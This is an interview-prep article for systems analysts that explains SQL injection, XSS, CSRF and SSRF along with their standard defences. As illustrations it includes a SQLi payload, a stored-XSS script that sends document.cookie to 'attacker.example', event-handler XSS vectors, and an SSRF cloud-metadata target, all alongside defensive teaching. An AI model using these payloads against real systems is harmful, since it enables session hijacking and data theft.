SQL injection and XSS for SA interviews

Why SAs get security questions

A systems analyst at Stripe, Notion, or Airbnb is not the engineer who patches the WAF rule at 2am — but they write the spec that either prevents the vulnerability or bakes it in. When a hiring manager asks "how would you protect this endpoint from SQL injection?", they are checking whether you bake prepared statements, output encoding, and a sane Content Security Policy into the architecture before a line of code gets written. The two attacks asked about on almost every SA loop are SQL injection and cross-site scripting (XSS) — both over twenty years old, both still near the top of the OWASP Top 10, both with boring well-understood fixes you can put in acceptance criteria.

SQL injection in one paragraph

SQL injection happens when user-supplied text is concatenated into a SQL query, letting the attacker change the query's structure. The canonical broken pattern looks like this:

# vulnerable
query = f"SELECT * FROM users WHERE email = '{user_input}'"

# user_input = "x' OR 1=1 --"
# resulting SQL: SELECT * FROM users WHERE email = 'x' OR 1=1 --'
# returns every row in the table

The single quote ends the string literal, OR 1=1 makes the predicate true for every row, and -- comments out the rest. From there an attacker can dump credentials, drop tables, escalate privileges, or — on a misconfigured SQL Server with xp_cmdshell — run OS commands. ORMs make this look fixed until someone reaches for a raw query for a one-off report.

The interview tell is whether you reach for f"..." or ? placeholders when you sketch pseudocode on the whiteboard.

Attack-vector taxonomy

A good SA can name the variants without hesitation. This is the table interviewers want you to be able to redraw from memory.

The two SQLi rows interviewers love most are blind time-based and second-order, because most candidates only memorize the classic UNION SELECT form. If you can describe a time-based attack — "the response takes five seconds when the first password char is a and one second otherwise, so the attacker scrapes the hash byte by byte" — you signal real depth.

Defending against SQL injection

The fix is prepared statements, every time, at every database boundary. The database driver sends the SQL template and the parameter values over two separate wire messages, so the parameters can never be parsed as code:

# psycopg (Postgres)
cur.execute(
    "SELECT id, email FROM users WHERE email = %s AND tenant_id = %s",
    (user_input, tenant_id),
)

// Java JDBC
PreparedStatement ps = conn.prepareStatement(
    "SELECT id, email FROM users WHERE email = ? AND tenant_id = ?"
);
ps.setString(1, userInput);
ps.setLong(2, tenantId);

An ORM like SQLAlchemy or Django generates parameterized SQL under the hood, so User.objects.filter(email=user_input) is safe. The trap is the escape hatch — raw(), execute(), text(), extra() — where the developer drops back to string formatting because the ORM cannot express the query they want. Most production SQLi findings live in a raw query written for a one-off internal dashboard.

Stored procedures help only when the procedure itself uses parameters internally; one that does EXEC('... = ''' + @input + '''') is exactly as vulnerable as the application code it replaced. Whitelisting input characters is a useful second layer — especially for fields like sort columns that cannot be parameterized — but never the primary defense. Least privilege matters too: the app's DB user should not own the schema or have DROP or FILE rights.

Cross-site scripting in one paragraph

XSS happens when attacker-controlled text is rendered into a page without context-aware encoding, so the browser parses it as HTML or JavaScript. The classic stored-XSS comment looks like this:

<!-- comment field saved to the DB without encoding -->
<script>fetch('https://attacker.example/c?c=' + document.cookie)</script>

Every logged-in user who opens the comment page ships their session cookie to the attacker's server. The attacker then resumes the session, posts as the victim, or pivots to admin pages. In a single-page app with credentialed APIs, JavaScript in the page can do anything the logged-in user can do.

Defending against XSS

The primary defense is context-aware output encoding at render time, not input filtering at write time. The same string is safe in an HTML body and dangerous in a JavaScript string literal — encoding has to match where the string lands. Modern frameworks — React, Vue, Svelte — do the right thing by default for HTML body because {value} in JSX escapes <, >, &, ", and '. The traps are dangerouslySetInnerHTML, v-html, [innerHTML], and any direct element.innerHTML = ... in vanilla JS.

The second defense is a Content Security Policy — an HTTP header telling the browser which origins may load scripts, styles, and frames. A reasonable starting policy:

Content-Security-Policy: default-src 'self';
  script-src 'self' 'nonce-{random}' https://cdn.trusted.example;
  style-src 'self' 'unsafe-inline';
  object-src 'none';
  base-uri 'self';
  frame-ancestors 'none'

Inline scripts without a matching nonce will not execute, even if an attacker injects <script> tags into the DOM. CSP is the seatbelt that catches you when encoding has a bug.

The third layer is cookies. Set-Cookie: ... HttpOnly; Secure; SameSite=Lax stops JavaScript from reading the session cookie, forces HTTPS, and blocks the cookie from most cross-site requests. None alone stops XSS, but together they limit blast radius.

CSRF, SSRF, and friends

Two adjacent attacks show up on the same loop. CSRF (cross-site request forgery): a victim is logged into bank.example, visits evil.example, and the evil page silently POSTs to bank.example/transfer — the browser attaches the session cookie automatically. Fixes: CSRF tokens on state-changing routes, SameSite=Lax/Strict cookies, and a custom header like X-Requested-With that simple cross-site HTML forms cannot send.

SSRF (server-side request forgery): an endpoint takes a URL from the user and the server fetches it. The attacker points it at http://169.254.169.254/latest/meta-data/ on AWS or http://localhost:8500/ on Consul and reads internal secrets. Mitigations: hostname allowlist, resolve DNS once and reject private ranges (10/8, 172.16/12, 192.168/16, 127/8, 169.254/16), and disable redirects.

Mitigation table

If you sketch this on the whiteboard during a system-design round you will out-perform 80% of the SA loop.

Common pitfalls

Candidates lose this question by oversimplifying or by mixing layers. The most common failure is reaching for manual escaping — value.replace("'", "''") — instead of prepared statements. Manual escaping breaks on UTF-8 edge cases, Unicode normalization, and LIKE wildcards. The fix is to never see a single quote in application code at all; the driver handles it.

A second pitfall is trusting client-side validation as a security boundary. JavaScript validation is a UX feature — it tells the user their email is malformed before they hit submit. It is not a defense, because the attacker is not using your form; they are using curl. Every check that exists for security reasons must also run on the server. This sounds obvious until you are debugging why an "impossible" value reached the database.

A third pitfall is using one encoding for all contexts. HTML-entity encoding (<, &) does nothing inside a <script> block, a javascript: URL, or a style attribute. Each context — HTML body, HTML attribute, JS string literal, URL, CSS — has its own rules, and a good framework picks the right one from the binding type.

A fourth pitfall is shipping cookies without HttpOnly. A single stored XSS bug on any subdomain that shares the cookie can drain every active session. Adding HttpOnly, Secure, and SameSite=Lax costs nothing and limits damage when something else fails.

A fifth pitfall is Access-Control-Allow-Origin: * combined with Allow-Credentials: true. Browsers reject this combination, but the developer who wrote it usually meant "specific origins with credentials" and copied the wildcard from a tutorial. The fix is an allowlist of trusted origins, echoed back per-request, with Vary: Origin so caches do not poison the response.

Related reading

• Cache strategies — systems analyst interview
• Kafka — systems analyst interview
• Acceptance criteria with Given/When/Then for systems analysts
• Case interview for systems analyst

If you want to drill security and architecture questions like this every week, NAILDD is launching with curated systems-analyst tracks across exactly these patterns.

FAQ

Is input validation enough to stop SQL injection?

No, and treating it as the primary defense is the most common reason SQLi still ships. Validation — checking length, allowed characters, expected formats — is useful as defense in depth, but it cannot reliably stop an attacker who controls the payload byte-by-byte. Use it for fields you cannot parameterize, like an ORDER BY column name, and validate against an allowlist of legal column names rather than a regex.

Can you have XSS without a <script> tag?

Yes — candidates miss this one often. <img src=x onerror=alert(1)> runs JavaScript via an event handler. <svg onload=...> does the same. <a href="javascript:..."> runs JS on click. Any HTML attribute starting with on* is a potential vector, which is why output encoding has to neutralize <, >, ", ', and & for HTML body context and also encode quotes inside attributes.

Does CSP completely prevent XSS?

No, but a strict CSP with nonces and 'strict-dynamic' cuts the exploitability of most XSS bugs to near zero. A script tag without the per-request nonce will not execute, and inline on* handlers are blocked by script-src rules that disallow 'unsafe-inline'. CSP is a seatbelt — wear it, but do not stop encoding on render.

Stored vs reflected vs DOM-based XSS — what is the difference?

Stored XSS lives in the database and runs in every viewer's browser. Reflected XSS lives in a URL or form submission and runs only in the browser of the user who clicks the malicious link. DOM-based XSS never touches the server in payload form; client-side JavaScript reads location.hash, document.referrer, or a postMessage payload and writes it into the DOM without encoding. Detection differs too: stored and reflected show up in server logs and WAF alerts; DOM-based is invisible to the backend.

Why do interviewers ask SAs about security if there is a dedicated security team?

By the time security engineering sees a design, the cost of changing it is 10x what it would have been in the spec. An SA who flags "this admin endpoint takes a tenant ID from the URL with no authorization check" during the architecture review saves the team a sev-1 ticket later. The interview signal is whether you treat security as a property of the design, not a step at the end.

What is the canonical reference for this material?

The OWASP Top 10 and the OWASP Cheat Sheet Series — the SQL Injection Prevention Cheat Sheet, Cross-Site Scripting Prevention Cheat Sheet, and Content Security Policy Cheat Sheet. Free, vendor-neutral, and updated; reference them by name.